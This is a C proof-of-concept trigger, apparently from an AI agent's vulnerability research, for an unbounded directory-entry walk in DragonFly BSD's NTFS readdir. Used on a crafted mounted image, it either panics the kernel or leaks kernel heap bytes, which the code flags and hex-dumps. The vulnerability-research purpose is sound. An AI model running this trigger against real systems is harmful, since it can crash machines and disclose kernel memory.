DF-0874 / trigger.c
/* * DF-0874 trigger -- drives the unbounded attr_indexentry walk in ntfs_readdir * (sys/vfs/ntfs/ntfs_vnops.c:585-586) via readdir(3)/getdents on a * root-mounted crafted NTFS image. * * Preconditions (realistic per AGENT.md threat model): root has created the * image and mount_ntfs'd it (vfs.usermount=0 by default on DragonFly); the * unprivileged user opens the directory and reads dirents. No kldload, no * setuid helper -- mount_ntfs auto-loads ntfs.ko. * * On the PANIC image: ntfs_readdir dereferences an out-of-buffer pointer and * the kernel faults (fatal trap 12) -- this process never returns; the panic * lands in dfbsd-qemu/boot.log. * * On the LEAK image: readdir returns dirent(s) whose d_fileno / d_name * reflect kernel heap residue past f_dirblbuf (information disclosure). With * -v we hex-dump every record so leaked bytes (kernel pointers, 0xFF fill, * slab poisoning) are visible. */ #include <sys/types.h> #include <dirent.h> #include <stddef.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "/mnt/ntfs"; int verbose = (argc > 2 && !strcmp(argv[2], "-v")); DIR *d = opendir(path); if (!d) { fprintf(stderr, "opendir(%s): %s\n", path, strerror(errno)); return 2; } printf("[+] opened %s; reading dirents (ntfs_readdir unbounded walk)...\n", path); fflush(stdout); int n = 0; struct dirent *de; errno = 0; while ((de = readdir(d)) != NULL) { unsigned long long ino = (unsigned long long)de->d_fileno; printf(" dirent[%d]: d_ino=0x%016llx d_namlen=%u d_type=%u " "d_name='", n, ino, de->d_namlen, de->d_type); fwrite(de->d_name, 1, de->d_namlen, stdout); fputc('\'', stdout); /* Flag anything that looks like leaked kernel heap: a d_ino that isn't a small plausible NTFS mft reference, or non-printable d_name bytes. */ if (ino > 0x100000ULL) printf(" <-- SUSPICIOUS d_ino (heap residue?)"); printf("\n"); if (verbose) { /* _DIRENT_DIRSIZ: 8-byte-aligned record size */ size_t rec = (offsetof(struct dirent, d_name) + de->d_namlen + 1 + 7) & ~(size_t)7; fputs(" raw: ", stdout); for (size_t i = 0; i < rec; i++) printf("%02x", (unsigned char)((char *)de)[i]); fputc('\n', stdout); } n++; if (n > 256) break; } int e = errno; closedir(d); if (n == 0) printf("[!] readdir returned 0 entries; errno=%d (%s)\n", e, strerror(e)); else printf("[+] readdir returned %d entries\n", n); return 0; } |